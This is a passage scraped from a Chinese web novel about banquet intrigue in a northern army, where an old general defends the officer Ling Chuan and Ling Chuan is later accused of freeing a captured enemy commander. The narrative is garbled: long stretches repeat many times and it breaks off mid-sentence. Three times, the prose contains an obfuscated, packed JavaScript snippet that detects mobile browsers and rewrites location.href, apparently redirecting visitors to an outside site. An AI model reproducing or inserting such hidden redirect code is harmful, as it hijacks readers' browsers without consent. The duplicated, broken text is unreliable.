余志茂指了指门口的方向,这无疑是要让凌川当众出丑,却浑然没有注意到陆老将军的眼神中闪过一丝冷意。 只见他轻咳一声,随即对余志茂招了招手。 后者见状,立马换上一副谄媚的笑容,小跑来到陆含章跟前,躬身问道:“哟!老将军身体还是这般健朗,您有何吩咐啊?下官乐意效劳!” 对于这种谄媚行径,现场一众武将无不心生鄙夷。 陆含章,淡淡瞥了他一眼,说道:“怎么?你的意思是盼着我身体不好,早点归西吗?” 余志茂脸色剧变,连忙解释道:“老将军明鉴,下官不是这个意思,您可是咱们北系军的主心骨,下官当然是盼您长命百岁啦!” “放肆!”陆含章用烟斗重重磕在桌上,呵斥道:“好你个奸佞小人,众所周知卢帅才是北系军主帅,你却说出如此大逆不道的言论,是想害我陆含章于不忠不义吗?” “噗通……” 余志茂双膝一软,当场被吓得跪倒在地。 他没想到对方忽然翻脸,更是在他的话里挑刺,并大做文章,一时间让他百口莫辩。 对于他而言,下跪这种事情,早已是家常便饭,可得罪陆含章这位北疆第二号人物,那自己的前途也就到头了,甚至于,今日能否安全离开,都得看对方的心情。 不远处,章绩眉头微皱,他显然也没想到陆含章会替凌川解围。 虽说凌川名义上是陆含章的下属,可据他所知此前两人并无交集,章绩唯一能想到的是,凌川这次立了战功,得到这老家伙的青睐。 不过他并未出声,于他而言,余志茂这种狗腿子遍地都是,但,若非万不得已,他也不想得罪陆含章。 只见陆含章居高临下地看着跪在面前余志茂,同时用烟斗指了指凌川,问道:“你可知他是谁?” 余志茂一愣,但还是小声回答道:“云岚校尉,凌川!” 陆含章点了点头,又问:“你可知他是谁的部下?” 余志茂这才恍然大悟,连忙解释道:“是,是老将军部下……下官并非是……” 陆含章伸手打断了他,说道:“你当着我的面,教训我手下的人,这是在打老夫的脸吗?” 听闻此言,余志茂连连摆手,只感觉一股凉意从膝盖直袭脑门,脊背冰凉,浑身哆嗦。 都怪自己急于在章绩面前表现,这才没有深究凌川的背景,要不然,就算是打死他也不敢来当这个出头鸟啊。 ,便可以不讲规矩,目无法纪,那成何体统?” 章绩这番话,可谓是滴水不漏,先是将所有文官武将绑在一起,然后在将凌川这个不守规矩、居功自傲的人排挤在一边,紧接着,便是一顶目无法纪的大帽子扣下来。 论耍嘴皮子,十个武将绑一块也不是一个文官的对手,张嶷岳呆滞当场哑口无言。 尽管他知道,对方是在偷换概念,但一时间却找不到点来反驳对方。 就在此时,凌川站起身来,开口道:“诸位,是我凌川不懂事,扰了大家的兴致,在此我自罚一碗,就当是赔罪!” 凌川倒了一碗酒,双手举起向众人示意,随即一饮而尽。 然而,余志茂却并不想就此了事,只见他冷哼一声,说道:“区区一碗酒就想了事,你未免太不把在场诸位放在眼里了!” 凌川轻轻放下酒碗,抬起目光直视余志茂,问道:“那余长史想要如何?” 余志茂冷笑道:“你区区一个校尉,本应坐在末席,你却不知廉耻行此僭越之举,念在你有功在身,就不治你的罪了,去门口站着吧!” 余志茂指了指门口的方向,这无疑是要让凌川当众出丑,却浑然没有注意到陆老将军的眼神中闪过一丝冷意。 只见他轻咳一声,随即对余志茂招了招手。 后者见状,立马换上一副谄媚的笑容,小跑来到陆含章跟前,躬身问道:“哟!老将军身体还是这般健朗,您有何吩咐啊?下官乐意效劳!” 对于这种谄媚行径,现场一众武将无不心生鄙夷。 陆含章,淡淡瞥了他一眼,说道:“怎么?你的意思是盼着我身体不好,早点归西吗?” 余志茂脸色剧变,连忙解释道:“老将军明鉴,下官不是这个意思,您可是咱们北系军的主心骨,下官当然是盼您长命百岁啦!” “放肆!”陆含章用烟斗重重磕在桌上,呵斥道:“好你个奸佞小人,众所周知卢帅才是北系军主帅,你却说出如此大逆不道的言论,是想害我陆含章于不忠不义吗?” “噗通……” 余志茂双膝一软,当场被吓得跪倒在地。 他没想到对方忽然翻脸,更是在他的话里挑刺,并大做文章,一时间让他百口莫辩。 对于他而言,下跪这种事情,早已是家常便饭,可得罪陆含章这位北疆第二号人物,那自己的前途也就到头了,甚至于,今日能否安全离开,都得看对方的心情。 不远处,章绩眉头微皱,他显然也没想到陆含章会替凌川解围。 虽说凌川名义上是陆含章的下属,可据他所知此前两人并无交集,章绩唯一能想到的是,凌川这次立了战功,得到这老家伙的青睐。 不过他并未出声,于他而言,余志茂这种狗腿子遍地都是,但,若非万不得已,他也不想得罪陆含章。 只见陆含章居高临下地看着跪在面前余志茂,同时用烟斗指了指凌川,问道:“你可知他是谁?” 余志茂一愣,但还是小声回答道:“云岚校尉,凌川!” 陆含章点了点头,又问:“你可知他是谁的部下?” 余志茂这才恍然大悟,连忙解释道:“是,是老将军部下……下官并非是……” 陆含章伸手打断了他,说道:“你当着我的面,教训我手下的人,这是在打老夫的脸吗?” 听闻此言,余志茂连连摆手,只感觉一股凉意从膝盖直袭脑门,脊背冰凉,浑身哆嗦。 都怪自己急于在章绩面前表现,这才没有深究凌川的背景,要不然,就算是打死他也不敢来当这个出头鸟啊。 ,便可以不讲规矩,目无法纪,那成何体统?” 章绩这番话,可谓是滴水不漏,先是将所有文官武将绑在一起,然后在将凌川这个不守规矩、居功自傲的人排挤在一边,紧接着,便是一顶目无法纪的大帽子扣下来。 论耍嘴皮子,十个武将绑一块也不是一个文官的对手,张嶷岳呆滞当场哑口无言。 尽管他知道,对方是在偷换概念,但一时间却找不到点来反驳对方。 就在此时,凌川站起身来,开口道:“诸位,是我凌川不懂事,扰了大家的兴致,在此我自罚一碗,就当是赔罪!” 凌川倒了一碗酒,双手举起向众人示意,随即一饮而尽。 然而,余志茂却并不想就此了事,只见他冷哼一声,说道:“区区一碗酒就想了事,你未免太不把在场诸位放在眼里了!” 凌川轻轻放下酒碗,抬起目光直视余志茂,问道:“那余长史想要如何?” 余志茂冷笑道:“你区区一个校尉,本应坐在末席,你却不知廉耻行此僭越之举,念在你有功在身,就不治你的罪了,去门口站着吧!” 余志茂指了指门口的方向,这无疑是要让凌川当众出丑,却浑然没有注意到陆老将军的眼神中闪过一丝冷意。 只见他轻咳一声,随即对余志茂招了招手。 后者见状,立马换上一副谄媚的笑容,小跑来到陆含章跟前,躬身问道:“哟!老将军身体还是这般健朗,您有何吩咐啊?下官乐意效劳!” 对于这种谄媚行径,现场一众武将无不心生鄙夷。 陆含章,淡淡瞥了他一眼,说道:“怎么?你的意思是盼着我身体不好,早点归西吗?” 余志茂脸色剧变,连忙解释道:“老将军明鉴,下官不是这个意思,您可是咱们北系军的主心骨,下官当然是盼您长命百岁啦!” “放肆!”陆含章用烟斗重重磕在桌上,呵斥道:“好你个奸佞小人,众所周知卢帅才是北系军主帅,你却说出如此大逆不道的言论,是想害我陆含章于不忠不义吗?” “噗通……” 余志茂双膝一软,当场被吓得跪倒在地。 他没想到对方忽然翻脸,更是在他的话里挑刺,并大做文章,一时间让他百口莫辩。 对于他而言,下跪这种事情,早已是家常便饭,可得罪陆含章这位北疆第二号人物,那自己的前途也就到头了,甚至于,今日能否安全离开,都得看对方的心情。 不远处,章绩眉头微皱,他显然也没想到陆含章会替凌川解围。 虽说凌川名义上是陆含章的下属,可据他所知此前两人并无交集,章绩唯一能想到的是,凌川这次立了战功,得到这老家伙的青睐。 不过他并未出声,于他而言,余志茂这种狗腿子遍地都是,但,若非万不得已,他也不想得罪陆含章。 只见陆含章居高临下地看着跪在面前余志茂,同时用烟斗指了指凌川,问道:“你可知他是谁?” 余志茂一愣,但还是小声回答道:“云岚校尉,凌川!” 陆含章点了点头,又问:“你可知他是谁的部下?” 余志茂这才恍然大悟,连忙解释道:“是,是老将军部下……下官并非是……” 陆含章伸手打断了他,说道:“你当着我的面,教训我手下的人,这是在打老夫的脸吗?” 听闻此言,余志茂连连摆手,只感觉一股凉意从膝盖直袭脑门,脊背冰凉,浑身哆嗦。 都怪自己急于在章绩面前表现,这才没有深究凌川的背景,要不然,就算是打死他也不敢来当这个出头鸟啊。 ,便可以不讲规矩,目无法纪,那成何体统?” 章绩这番话,可谓是滴水不漏,先是将所有文官武将绑在一起,然后在将凌川这个不守规矩、居功自傲的人排挤在一边,紧接着,便是一顶目无法纪的大帽子扣下来。 论耍嘴皮子,十个武将绑一块也不是一个文官的对手,张嶷岳呆滞当场哑口无言。 尽管他知道,对方是在偷换概念,但一时间却找不到点来反驳对方。 就在此时,凌川站起身来,开口道:“诸位,是我凌川不懂事,扰了大家的兴致,在此我自罚一碗,就当是赔罪!” 凌川倒了一碗酒,双手举起向众人示意,随即一饮而尽。 然而,余志茂却并不想就此了事,只见他冷哼一声,说道:“区区一碗酒就想了事,你未免太不把在场诸位放在眼里了!” 凌川轻轻放下酒碗,抬起目光直视余志茂,问道:“那余长史想要如何?” 余志茂冷笑道:“你区区一个校尉,本应坐在末席,你却不知廉耻行此僭越之举,念在你有功在身,就不治你的罪了,去门口站着吧!” 余志茂指了指门口的方向,这无疑是要让凌川当众出丑,却浑然没有注意到陆老将军的眼神中闪过一丝冷意。 只见他轻咳一声,随即对余志茂招了招手。 后者见状,立马换上一副谄媚的笑容,小跑来到陆含章跟前,躬身问道:“哟!老将军身体还是这般健朗,您有何吩咐啊?下官乐意效劳!” 对于这种谄媚行径,现场一众武将无不心生鄙夷。 陆含章,淡淡瞥了他一眼,说道:“怎么?你的意思是盼着我身体不好,早点归西吗?” 余志茂脸色剧变,连忙解释道:“老将军明鉴,下官不是这个意思,您可是咱们北系军的主心骨,下官当然是盼您长命百岁啦!” “放肆!”陆含章用烟斗重重磕在桌上,呵斥道:“好你个奸佞小人,众所周知卢帅才是北系军主帅,你却说出如此大逆不道的言论,是想害我陆含章于不忠不义吗?” “噗通……” 余志茂双膝一软,当场被吓得跪倒在地。 他没想到对方忽然翻脸,更是在他的话里挑刺,并大做文章,一时间让他百口莫辩。 对于他而言,下跪这种事情,早已是家常便饭,可得罪陆含章这位北疆第二号人物,那自己的前途也就到头了,甚至于,今日能否安全离开,都得看对方的心情。 不远处,章绩眉头微皱,他显然也没想到陆含章会替凌川解围。 虽说凌川名义上是陆含章的下属,可据他所知此前两人并无交集,章绩唯一能想到的是,凌川这次立了战功,得到这老家伙的青睐。 不过他并未出声,于他而言,余志茂这种狗腿子遍地都是,但,若非万不得已,他也不想得罪陆含章。 只见陆含章居高临下地看着跪在面前余志茂,同时用烟斗指了指凌川,问道:“你可知他是谁?” 余志茂一愣,但还是小声回答道:“云岚校尉,凌川!” 陆含章点了点头,又问:“你可知他是谁的部下?” 余志茂这才恍然大悟,连忙解释道:“是,是老将军部下……下官并非是……” 陆含章伸手打断了他,说道:“你当着我的面,教训我手下的人,这是在打老夫的脸吗?” 听闻此言,余志茂连连摆手,只感觉一股凉意从膝盖直袭脑门,脊背冰凉,浑身哆嗦。 都怪自己急于在章绩面前表现,这才没有深究凌川的背景,要不然,就算是打死他也不敢来当这个出头鸟啊。 ,便可以不讲规矩,目无法纪,那成何体统?” 章绩这番话,可谓是滴水不漏,先是将所有文官武将绑在一起,然后在将凌川这个不守规矩、居功自傲的人排挤在一边,紧接着,便是一顶目无法纪的大帽子扣下来。 论耍嘴皮子,十个武将绑一块也不是一个文官的对手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053611|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,张嶷岳呆滞当场哑口无言。 尽管他知道,对方是在偷换概念,但一时间却找不到点来反驳对方。 就在此时,凌川站起身来,开口道:“诸位,是我凌川不懂事,扰了大家的兴致,在此我自罚一碗,就当是赔罪!” 凌川倒了一碗酒,双手举起向众人示意,随即一饮而尽。 然而,余志茂却并不想就此了事,只见他冷哼一声,说道:“区区一碗酒就想了事,你未免太不把在场诸位放在眼里了!” 凌川轻轻放下酒碗,抬起目光直视余志茂,问道:“那余长史想要如何?” 余志茂冷笑道:“你区区一个校尉,本应坐在末席,你却不知廉耻行此僭越之举,念在你有功在身,就不治你的罪了,去门口站着吧!” 余志茂指了指门口的方向,这无疑是要让凌川当众出丑,却浑然没有注意到陆老将军的眼神中闪过一丝冷意。 只见他轻咳一声,随即对余志茂招了招手。 后者见状,立马换上一副谄媚的笑容,小跑来到陆含章跟前,躬身问道:“哟!老将军身体还是这般健朗,您有何吩咐啊?下官乐意效劳!” 对于这种谄媚行径,现场一众武将无不心生鄙夷。 陆含章,淡淡瞥了他一眼,说道:“怎么?你的意思是盼着我身体不好,早点归西吗?” 余志茂脸色剧变,连忙解释道:“老将军明鉴,下官不是这个意思,您可是咱们北系军的主心骨,下官当然是盼您长命百岁啦!” “放肆!”陆含章用烟斗重重磕在桌上,呵斥道:“好你个奸佞小人,众所周知卢帅才是北系军主帅,你却说出如此大逆不道的言论,是想害我陆含章于不忠不义吗?” “噗通……” 余志茂双膝一软,当场被吓得跪倒在地。 他没想到对方忽然翻脸,更是在他的话里挑刺,并大做文章,一时间让他百口莫辩。 对于他而言,下跪这种事情,早已是家常便饭,可得罪陆含章这位北疆第二号人物,那自己的前途也就到头了,甚至于,今日能否安全离开,都得看对方的心情。 不远处,章绩眉头微皱,他显然也没想到陆含章会替凌川解围。 虽说凌川名义上是陆含章的下属,可据他所知此前两人并无交集,章绩唯一能想到的是,凌川这次立了战功,得到这老家伙的青睐。 不过他并未出声,于他而言,余志茂这种狗腿子遍地都是,但,若非万不得已,他也不想得罪陆含章。 只见陆含章居高临下地看着跪在面前余志茂,同时用烟斗指了指凌川,问道:“你可知他是谁?” 余志茂一愣,但还是小声回答道:“云岚校尉,凌川!” 陆含章点了点头,又问:“你可知他是谁的部下?” 余志茂这才恍然大悟,连忙解释道:“是,是老将军部下……下官并非是……” 陆含章伸手打断了他,说道:“你当着我的面,教训我手下的人,这是在打老夫的脸吗?” 听闻此言,余志茂连连摆手,只感觉一股凉意从膝盖直袭脑门,脊背冰凉,浑身哆嗦。 都怪自己急于在章绩面前表现,这才没有深究凌川的背景,要不然,就算是打死他也不敢来当这个出头鸟啊。 ,便可以不讲规矩,目无法纪,那成何体统?” 章绩这番话,可谓是滴水不漏,先是将所有文官武将绑在一起,然后在将凌川这个不守规矩、居功自傲的人排挤在一边,紧接着,便是一顶目无法纪的大帽子扣下来。 论耍嘴皮子,十个武将绑一块也不是一个文官的对手,张嶷岳呆滞当场哑口无言。 尽管他知道,对方是在偷换概念,但一时间却找不到点来反驳对方。 就在此时,凌川站起身来,开口道:“诸位,是我凌川不懂事,扰了大家的兴致,在此我自罚一碗,就当是赔罪!” 凌川倒了一碗酒,双手举起向众人示意,随即一饮而尽。 然而,余志茂却并不想就此了事,只见他冷哼一声,说道:“区区一碗酒就想了事,你未免太不把在场诸位放在眼里了!” 凌川轻轻放下酒碗,抬起目光直视余志茂,问道:“那余长史想要如何?” 余志茂冷笑道:“你区区一个校尉,本应坐在末席,你却不知廉耻行此僭越之举,念在你有功在身,就不治你的罪了,去门口站着吧!” 余志茂指了指门口的方向,这无疑是要让凌川当众出丑,却浑然没有注意到陆老将军的眼神中闪过一丝冷意。 只见他轻咳一声,随即对余志茂招了招手。 后者见状,立马换上一副谄媚的笑容,小跑来到陆含章跟前,躬身问道:“哟!老将军身体还是这般健朗,您有何吩咐啊?下官乐意效劳!” 对于这种谄媚行径,现场一众武将无不心生鄙夷。 陆含章,淡淡瞥了他一眼,说道:“怎么?你的意思是盼着我身体不好,早点归西吗?” 余志茂脸色剧变,连忙解释道:“老将军明鉴,下官不是这个意思,您可是咱们北系军的主心骨,下官当然是盼您长命百岁啦!” “放肆!”陆含章用烟斗重重磕在桌上,呵斥道:“好你个奸佞小人,众所周知卢帅才是北系军主帅,你却说出如此大逆不道的言论,是想害我陆含章于不忠不义吗?” “噗通……” 余志茂双膝一软,当场被吓得跪倒在地。 他没想到对方忽然翻脸,更是在他的话里挑刺,并大做文章,一时间让他百口莫辩。 对于他而言,下跪这种事情,早已是家常便饭,可得罪陆含章这位北疆第二号人物,那自己的前途也就到头了,甚至于,今日能否安全离开,都得看对方的心情。 不远处,章绩眉头微皱,他显然也没想到陆含章会替凌川解围。 虽说凌川名义上是陆含章的下属,可据他所知此前两人并无交集,章绩唯一能想到的是,凌川这次立了战功,得到这老家伙的青睐。 不过他并未出声,于他而言,余志茂这种狗腿子遍地都是,但,若非万不得已,他也不想得罪陆含章。 只见陆含章居高临下地看着跪在面前余志茂,同时用烟斗指了指凌川,问道:“你可知他是谁?” 余志茂一愣,但还是小声回答道:“云岚校尉,凌川!” 陆含章点了点头,又问:“你可知他是谁的部下?” 余志茂这才恍然大悟,连忙解释道:“是,是老将军部下……下官并非是……” 陆含章伸手打断了他,说道:“你当着我的面,教训我手下的人,这是在打老夫的脸吗?” 听闻此言,余志茂连连摆手,只感觉一股凉意从膝盖直袭脑门,脊背冰凉,浑身哆嗦。 都怪自己急于在章绩面前表现,这才没有深究凌川的背景,要不然,就算是打死他也不敢来当这个出头鸟啊。 ,便可以不讲规矩,目无法纪,那成何体统?” 章绩这番话,可谓是滴水不漏,先是将所有文官武将绑在一起,然后在将凌川这个不守规矩、居功自傲的人排挤在一边,紧接着,便是一顶目无法纪的大帽子扣下来。 论耍嘴皮子,十个武将绑一块也不是一个文官的对手,张嶷岳呆滞当场哑口无言。 尽管他知道,对方是在偷换概念,但一时间却找不到点来反驳对方。 就在此时,凌川站起身来,开口道:“诸位,是我凌川不懂事,扰了大家的兴致,在此我自罚一碗,就当是赔罪!” 凌川倒了一碗酒,双手举起向众人示意,随即一饮而尽。 然而,余志茂却并不想就此了事,只见他冷哼一声,说道:“区区一碗酒就想了事,你未免太不把在场诸位放在眼里了!” 凌川轻轻放下酒碗,抬起目光直视余志茂,问道:“那余长史想要如何?” 余志茂冷笑道:“你区区一个校尉,本应坐在末席,你却不知廉耻行此僭越之举,念在你有功在身,就不治你的罪了,去门口站着吧!” 余志茂指了指门口的方向,这无疑是要让凌川当众出丑,却浑然没有注意到陆老将军的眼神中闪过一丝冷意。 只见他轻咳一声,随即对余志茂招了招手。 后者见状,立马换上一副谄媚的笑容,小跑来到陆含章跟前,躬身问道:“哟!老将军身体还是这般健朗,您有何吩咐啊?下官乐意效劳!” 对于这种谄媚行径,现场一众武将无不心生鄙夷。 陆含章,淡淡瞥了他一眼,说道:“怎么?你的意思是盼着我身体不好,早点归西吗?” 余志茂脸色剧变,连忙解释道:“老将军明鉴,下官不是这个意思,您可是咱们北系军的主心骨,下官当然是盼您长命百岁啦!” “放肆!”陆含章用烟斗重重磕在桌上,呵斥道:“好你个奸佞小人,众所周知卢帅才是北系军主帅,你却说出如此大逆不道的言论,是想害我陆含章于不忠不义吗?” “噗通……” 余志茂双膝一软,当场被吓得跪倒在地。 他没想到对方忽然翻脸,更是在他的话里挑刺,并大做文章,一时间让他百口莫辩。 对于他而言,下跪这种事情,早已是家常便饭,可得罪陆含章这位北疆第二号人物,那自己的前途也就到头了,甚至于,今日能否安全离开,都得看对方的心情。 不远处,章绩眉头微皱,他显然也没想到陆含章会替凌川解围。 虽说凌川名义上是陆含章的下属,可据他所知此前两人并无交集,章绩唯一能想到的是,凌川这次立了战功,得到这老家伙的青睐。 不过他并未出声,于他而言,余志茂这种狗腿子遍地都是,但,若非万不得已,他也不想得罪陆含章。 只见陆含章居高临下地看着跪在面前余志茂,同时用烟斗指了指凌川,问道:“你可知他是谁?” 余志茂一愣,但还是小声回答道:“云岚校尉,凌川!” 陆含章点了点头,又问:“你可知他是谁的部下?” 余志茂这才恍然大悟,连忙解释道:“是,是老将军部下……下官并非是……” 陆含章伸手打断了他,说道:“你当着我的面,教训我手下的人,这是在打老夫的脸吗?” 听闻此言,余志茂连连摆手,只感觉一股凉意从膝盖直袭脑门,脊背冰凉,浑身哆嗦。 都怪自己急于在章绩面前表现,这才没有深究凌川的背景,要不然,就算是打死他也不敢来当这个出头鸟啊。 第187章 陆含章护短! “是老夫让他坐在这个位置的你是不是要连老夫也一起治罪?”陆含章居高临下地看着他喝问道。 余志茂额头上冷汗直冒后心更是早已被粘稠的冷汗湿透。 “老将军明鉴下官绝无此意……” “biu……” 陆含章直接飚出一口口水径直落到余志茂面前后者硬着头皮没敢躲。 “那按照余长史的意思是不是老夫也要跟凌川一起到门口站着去?” 此时余志茂一张脸比哭还难看连连摆手道:“老将军下官知错了……” 说完更是一个劲地磕起头来额头抵地磕得砰砰作响。 陆含章淡淡瞥了章绩一眼说道:“你要当狗那是你自己的事情但想要吃肉不仅要练好牙还得擦亮你的狗眼否则就乖乖去吃屎!” 听到这话现场不少人都憋着笑一众武将更是感觉无比解气。 事实上无论是文官还是武将大多对余志茂这种人很是鄙夷奈何同为漠北节度府官员抬头不见低头见有时候得维持面子上过得去。 他今天明显是想趁机在章绩面前表现一番故而一来就开始打压凌川谁曾想这位大佬竟然下场为凌川站台。 别说是他就算是章绩在陆老将军面前也不够看甚至于就算是卢帅也要给这位老大哥几分面子。 本以为余志茂已经将头磕破这事就算是揭过了然而陆含章似乎并不打算就此罢休而是看向章绩问道:“章参军!” 章绩神色微变但还是让自己面带笑意行了一礼问道:“老将军有何指教?” “吧嗒吧嗒……” 陆含章并未立即开口而是吧嗒了两口旱烟这才缓缓开口说道:“哎老头子我年纪大了记性不好前两日为手下人请功之时都想不起来所以麻烦章参军为老头子我梳理一下凌川这小子这次立了哪些战功啊?” 在场没有傻子谁都知道陆含章是在‘倚老卖老’装糊涂他堂堂云州主将更是早就不管事的甩手掌柜请战功这种事情他怎么可能亲自做。 要是换做其他人章绩完全可以置之不理但对于这位与卢帅平起平坐的存在他丝毫不敢托大。 只见他缓缓起身说道:“自凌川率云州军前往边境共立战功五次一是在鬼哭岭外斩杀三千胡骑二是驰援铁鳞城以火攻大破敌军并亲斩敌军主将狼蚀首级之后在朔州军的配合下全歼一万敌军;其三 是在曳敕滩水淹两万胡羯主力军,并在武定关五千阑州军的配合下全歼敌军;其四是在武定关两军阵前掳走耶律王族大军主将耶律蓝图,随后夜袭敌营,全歼两万余耶律王族大军;其五,夜袭朝天垭外敌军大营……” 章绩一口气将凌川及麾下云岚军所立下的战功细数一遍,尽管在场文武对于这些事迹早已知晓,可内心还是不免震惊,此前,不少人也怀疑过这些战功的真实性,可现在从章绩嘴里说出来,无疑是最具信服力。 更何况,现场不少将领都是见证者,如朔州主将韩青池与支援铁鳞城的宋景,以及陈暻垚、薛镇锷等,都是见证者,他们都没有提出质疑,那无疑是更加证实了这些事情的真实性。 随着章绩每报出一条战功,人们眼神中的钦佩之色便加深了几分,此时,看向凌川的目光中除了钦佩,还有深深的敬重。 听章绩报完战功,陆含章点了点头,对身边的催行俭说道:“都记住了吗?” 催行俭连忙配合着点头说道:“属下记住了!” 陆含章又开始吧嗒起旱烟,正当章绩准备坐下的时候,陆含章的声音再次响起: “那请问章参军,凌川立下这些战功,老夫让他坐这个位置,不过分吧?” 章绩神色再次一变,但还是咬牙说道:“凌都尉战功卓著,乃是我北系军之栋梁,更何况得陆老将军青睐,坐什么位置都没问题!” 陆含章点了点头,这才在余志茂的头上磕掉燃尽的烟灰,说道:“滚吧!” 这场风波, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16057666|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算是就此揭过,不过,直觉告诉凌川,章绩的手段绝对不止于此。 “卢帅到!” 就在此时,门外传来一道声音,众人闻言纷纷起身。 陆含章也放下手中的烟斗准备起身,只见两鬓斑白的卢恽筹龙行虎步走进偏殿,身后跟着亲兵校尉樊鹏,他也是现场唯一着甲执兵的人。 卢恽筹大步走到陆含章跟前,按住他的肩膀,说道:“老哥你要是站起来,我可就不敢坐下了!” 虽是一句玩笑话,但却在向全场文武传递一个重要信号。 “参见大将军!” “参见节度使大人!” 满场文武纷纷向卢恽筹见礼,后者面带微笑,目光扫视全场,直到他的目光移到余志茂的时候,脸上的笑容瞬间一凝,虽然没说话,但这个表情便足以说明一切。 “坐吧!” 卢恽筹抬手示意大家坐下,而他自己则是来到陆含章旁边的主位落座。 北疆那位传奇人物陆沉锋并未现身,不过,这也在众人的预料之中。 众人端坐,静等卢恽筹发话。 “此次战事,全体将士浴血厮杀,七州官员同心戮力,虽互有胜负,但总体而言,我方大胜,在此,本帅替大周帝国,替北境七州百姓,多谢诸位!” 见卢恽筹端起酒碗,其他人也纷纷举碗共饮。 紧接着,卢恽筹再次倒了一碗酒,说道:“这第二碗酒,敬战死的将士们,愿他们英魂不朽,护我边疆!” “这第三碗酒,敬我大周国运绵长,长盛不衰!”卢恽筹再次举碗。 然而,这一次众人虽照常举碗,可眼底的神色却不尽相同。 如今,大周已经是日薄西山,无论是朝堂还是地方乃至边疆,都已腐朽到了骨子里,就拿现在的北系军而言,虽能战猛将不在少数,但普通士卒却已经没有了曾经周军的信仰,能打赢这一战,主要还得归结于天汗城之变,让拓跋桀不得不撤军。 第188章 凌川,你想通敌? 卢恽筹这看似平常的一个举动,却让现场所有人内心思绪涌动。 大周国祚还能存在多久谁也不知道,但可以肯定的是,改朝换代已然成为必然趋势。 历朝历代,但凡是这种时刻,必然是手握重兵之人率先举旗自立,如今,苏家军已然易帜,尽管南系军还在,但已然是一盘散沙。 东疆水师与西疆军相比起卢恽筹的北系军,差了不止一个档次,所以,纵观天下,如果有人先动的话,那必然是卢恽筹。 而且,早有传言,卢恽筹准备自立,虽说这其中不免有心怀不轨之人想以此借天子之手扳倒卢恽筹,但,在这种背景下,出现这样的声音,也绝非空穴来风。 很多人都在想,卢帅到底有没有反心,若有,自己应当如何选择? 是跟随他举兵反周,去打造一个全新的帝国,还是选择尽忠,及时与之划清界限,甚至是倒戈相向? 同样,很多人都在心里猜测,卢恽筹这话是不是也在试探他们的态度,想要看看,如果他举兵自立,有哪些人愿意追随? 而不愿追随的人,下场也就不言而喻了。 章绩眼底神色闪烁,也不知在想些什么。 陆含章那双浑浊的眼眸中,同样不时有异色闪过。 而卢恽筹同样在不动声色地观察众人,片刻间,便将所有人的细微表情尽收眼底。 这一切不过是发生在片刻间,卢恽筹果断将碗中酒一饮而尽,其他人也都跟着把酒喝干,随即相继坐下。 很快,各种菜肴相继上桌,炙驼峰、焖蝎羊、踏雪鸡,这些都是风雪楼的名菜。 风雪楼作为享誉北疆的金字招牌,节度府每逢设宴,都是请风雪楼的厨子来掌勺。 不过,这顿饭,大家表面上夸夸而谈,其乐融融,可嘴里却是如同嚼蜡。 心里想着的,也都是卢恽筹之前那番话背后所隐藏的态度。 卢恽筹一如往常,先是敬了陆含章一碗酒,要是在以往,接下来便轮到其他人依次向他敬酒了,然而,这一次卢恽筹却再次倒了一碗酒。 “此次一战,凌川算是为我北系军长了脸,区区一千五百云岚军,竟然干掉了五六万敌军,如此惊世骇俗的战功,就算是放眼历史,也是绝无仅有的存在,本帅提议,咱们敬他一碗! 卢恽筹都提议了,无论是武将还是文臣都不敢怠慢,纷纷倒满举起酒碗。 如果说,之前只是陆含章对凌川抱有青睐,并且当众护短,那么卢恽筹此举,无异于是告诉众人,他 也看好凌川。 凌川被推到风口浪尖,让他多少有些惶恐,端起酒碗说道:“承蒙大家厚爱,凌川内心惶恐……” 谦虚了几句之后,凌川与众人饮尽碗中酒,可就在他准备坐下之时,靖州刺史虞世清开口说道。 “凌都尉之勇猛,本官在靖州都是如雷贯耳,特别是两军阵前亲手擒拿敌军主将耶律蓝图,更是堪称有勇有谋!” 听闻此言,凌川神色微变,心中顿感不妙。 果然,一名参军立马接过话题,说道:“这耶律蓝图可是耶律王族嫡系成员,不知凌校尉可曾把他押回漠北?” 此言一出,众人再次将目光看向凌川,凌川顿时明白,这才是章绩的**锏。 当着大将军卢恽筹以及北境七州文武官员的面,把这一刀亮出来,显然是要自己的命。 章绩自顾自夹起一块肉,放在嘴里细细咀嚼,不过,他嘴角勾起的那抹冷笑,却是丝毫不加掩饰。 卢恽筹也开口问道:“凌川,那耶律王族的公子哥去哪儿了?” 凌川站起身来,对卢恽筹行了一礼,说道:“回大将军,属下把他放了!” 此言一出,现场彻底炸了锅。 在此之前,众人的目光大多集中在他身上那一项项璀璨战功上,并没有人注意到这个细节,直至刚才虞世清‘无意间’提及,众人才注意到这个不起眼的小事。 于整个战局而言,耶律蓝图确实是无关紧要的小人物,但凌川将敌方主将私自放走,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16057667|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 